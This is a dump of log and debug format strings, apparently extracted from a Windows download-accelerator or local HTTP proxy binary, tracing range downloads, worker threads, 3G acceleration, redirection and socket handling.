[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

